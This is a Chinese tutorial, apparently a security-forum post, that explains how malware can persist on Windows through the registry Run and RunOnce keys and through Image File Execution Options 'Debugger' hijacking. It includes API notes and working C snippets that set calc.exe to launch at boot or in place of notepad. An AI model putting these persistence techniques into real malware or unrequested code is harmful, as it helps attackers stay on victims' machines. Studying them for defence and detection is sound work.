原理
病毒就是一般程序,在入侵别人计算机后,如果不运行,就没有任何意义。为了能让病毒程序能够随计算机开机启动,今天就来介绍一下通过注册表实现开机启动任意程序。首先,介绍一下注册表。
注册表就像windows系统中的一个数据库,保存着系统的各种配置。比如:开机的启动方式,各种后缀名文件的默认图标显示,禁用USB端口等,这些功能的实现都可以通过注册表实现设置。
有关注册表的介绍可以参见以下教程:
https://www.freebuf.com/articles/system/256130.html
https://www.freebuf.com/articles/es/198440.html
本文的重点来了,利用注册表启动的原理:windows提供了专门的开机自启动注册表。在每次开机完成后,计算机会自动遍历自启动注册表下的键值,获取键值中的程序路径,并创建进程启动程序。所以,要想修改注册表实现开机自启动,就需要在这个注册表键值下写入我们想要启动的程序的所在路径。
有两个比较常用的实现开机自启动的注册表键值如下:
HKEY_CURRENT_USER\Software\Mircosoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
主要就是根键不相同。当然了,还有一个不常用的:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
如果在这个键值下写入程序路径,系统会在下次开机后自启动一次。
我们可以通过API编程在以上三个注册表键下写入要启动的程序路径即可实现开机自启动。
还有一种比较隐蔽的启动方式,实现思路是通过程序启动时加载调试器,而调试器的加载可以通过设置注册表实现,其实质就是在键值下写入调试器的所在路径,而我们可以在这里写入任何程序的路径,已实现启动目的。而这个键就是:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
如需要调试notepad.exe,就可以在Image File Execution Options创建子健notepad.exe,在该子健下创建名为“Debugger”的键名,键值为要启动的程序路径名(可以为调试器也可以为任意程序)。
身为萌新,在实验这个方法时第一次并没有成功。失败原因就是键名必须为“Debugger”,不能自定义名称。而且在网上查资料才发现这个方法有一个高大上的名字叫做映像劫持。
相关API介绍
//打开指定的注册表键
LSTATUS RegOpenKeyExA(
HKEY hKey, //打开的注册表键的句柄,或者是五个根键(详见函数结尾)
LPCSTR lpSubKey, //指向子健的名称,例如:Software\Mircosoft\Windows\CurrentVersion\Run
DWORD ulOptions, //一般设置为0
REGSAM samDesired,//设定访问权限标记(详见五个根键下面)
PHKEY phkResult //打开注册表键的句柄,如果不再使用返回的句柄,则调用RegCloseKey来关闭它
);
//函数返回值
//如果函数返回成功,则返回零(ERROR_SUCCESS)。否则,返回值为内文件WINERROR.H定义的一个非零的错误代码。
//五个根键
//HKEY_CLASSES_ROOT
//HKEY_CURRENT_CONFIG
//HKEY_CURRENT_USER
//HKEY_LOCAL_MACHINE
//HKEY_USERS
//访问权限标志(这里只列举常见的几个,详细参考MSDN)
//编号 值 含义
// 1 KEY_CREATE_LINK 准许生成符号键
// 2 KEY_CREATE_SUB_KEY 准许生成子健
// 3 KEY_ENUMERATE_SUB_KEYS 准许生成枚举子健
// 4 KEY_EXECUTE 准许进行读操作
// 5 KEY_NOTIFY 准许更换通告
// 6 KEY_QUERY_VALUE 准许查询子健
// 7 KEY_READ 编号3,5,6的组和
// 8 KEY_SET_VALUE 准许设置子健的数值
// 9 KEY_WRITE 编号2,8的组合
// 10 KEY_ALL_ACCESS 提供完全访问,编号1,2,3,5,6,8的组合
// 11 KEY_WOW64_32KEY 表示64位Windows系统中的应用程序应该在32位注册表视图上运行。32位Windows操作系统会忽略该标志
// 12 KEY_WOW64_64KEY 表示64位Windows系统的应用程序应该在64位注册表视图上运行。32位Windows上忽略该标志
//在注册表项下设置指定值的数据和类型
LSTATUS RegSetValueExA(
HKEY hKey, //指定一个已打开项的句柄,或一个标准项名
LPCSTR lpValueName, //一个要设置的键值名称。若该名称的值并不存在于指定的注册表中,则此函数会将其加入到该项。如果此时是NULL或指向空字符串,则此函数将会设置该项的默认值或未命名的类型和数据
DWORD Reserved, //保留值,必须设置为0
DWORD dwType, //存储的数据类型
const BYTE *lpData, //指向一个缓冲区,该缓冲区包含了为指定值名称存储的数据
DWORD cbData //指定由lpData参数所指向的数据大小,单位是字节
);
//返回值
//返回零表示成功;返回其他任何值都代表一个错误代码
//dwType表示的数据类型
//值 含义
//REG_BINARY 任何形式的二进制数据
//REG_DWORD 一个32位的数字
//REG_DWORD_LITTLE_ENDIAN 一个格式为“低字节在前”的32位数字
//REG_DWORD_BIG_ENDIAN 一个格式为“高字节在前”的32位数字
//REG_EXPAND_SZ 一个以0结尾的字符串,该字符串包含环境变量(如%PAHT%)
//EG_LINK 一个Unicode格式的带符号链接
//REG_MULTI_SZ 一个以0结尾的字符串数组,该数组以连续两个0作为终止符
//REG_ONE 未定义值类型
//REG_RESOURCE_LIST 一个设备驱动器资源列表
//REG_SZ 一个以0结尾的字符串
//创建一个子健
LSTATUS RegCreateKeyExA(
HKEY hKey, //打开的键的句柄或者五个根键
LPCSTR lpSubKey, //要创建的子健的名称
DWORD Reserved, //系统保留必须为0
LPSTR lpClass, //子健类名一般设置为NULL
DWORD dwOptions, //创建子键时的选项,通常情况下使用REG_OPTION_NON_VOLATILE宏,表示创建的子键被创建到注册表文件中,不会因为重启计算机而丢失
REGSAM samDesired, //设定访问权限标记
const LPSECURITY_ATTRIBUTES lpSecurityAttributes, //设置安全属性,一般使用NULL
PHKEY phkResult, //打开注册表键的句柄,如果不再使用返回的句柄,则调用RegCloseKey来关闭它
LPDWORD lpdwDisposition //指向DWORD的指针,该变量接收两种值,详见函数尾部(注意这是一个输出参数)
);
//返回值
//返回零表示成功;返回其他任何值都代表一个错误代码
//lpdwDisposition
//值 含义
//REG_CREATED_NEW_KEY 键之前不存在也没有被创建
//REG_OPENED_EXISTING_KEY 键之前存在并且打开后没有被改变
小例子
开机启动计算器
//打开注册表
if (result = RegOpenKeyEx(HKEY_CURRENT_USER,L"Software\\Microsoft\\Windows\\CurrentVersion\\Run" , 0,KEY_WRITE, &hKey))
{
printf("RegOpenKeyEx Error");
return 0;
}
//修改注册表值,实现开机自启动
if (ERROR_SUCCESS != RegSetValueEx(hKey,(LPCTSTR)ValueName,0,REG_SZ,(BYTE*)FileName,lstrlen((LPCTSTR)FileName)*2+1))
{
RegCloseKey(hKey);
printf("RegSetValueEx Error");
return 0;
}
//注意事项:在打开注册表键时一定要注意路径的设置,不要出现拼写错误,注意Unicode编码
使用映像劫持的方法在启动记事本,记事本不会启动而是启动的计算器
TCHAR FileName[] = L"C:\\Windows\\System32\\calc.exe";
TCHAR ValueName[] = L"Debugger";
HKEY notepadKey = 0;
int result = 1;
DWORD dw = 0;
if (result = RegCreateKeyEx(HKEY_LOCAL_MACHINE,L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\notepad.exe",0,NULL,REG_OPTION_NON_VOLATILE, KEY_WOW64_64KEY | KEY_ALL_ACCESS,NULL,¬epadKey,&dw))
{
printf("RegCreateKeyEx");
return 0;
}
if (result = RegSetValueEx(notepadKey, (LPCTSTR)ValueName, 0, REG_SZ, (BYTE*)FileName, lstrlen((LPCTSTR)FileName) * 2 + 1))
{
RegCloseKey(notepadKey);
printf("RegSetValueEx Error");
return 0;
}
//注意事项:在创建子健时,注意注册表重定位问题。
//SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\notepad.exe
//上面的路径会被重定位为下面的路径
//SOFTWARE\\WOW6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\notepad.exe
//为了避免重定位可以在创建子健函数的访问标记参数中添加KEY_WOW64_64KEY访问标志
注意
最后注意一点,在成功编写好程序后,发现注册表没有写入对应的项不要奇怪,可以刷新一下注册表或者关闭后重新打开,可能就有了。或者可能就是注册表重定位问题。
在使用映像劫持的代码时,运行后杀毒软件会弹框。
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课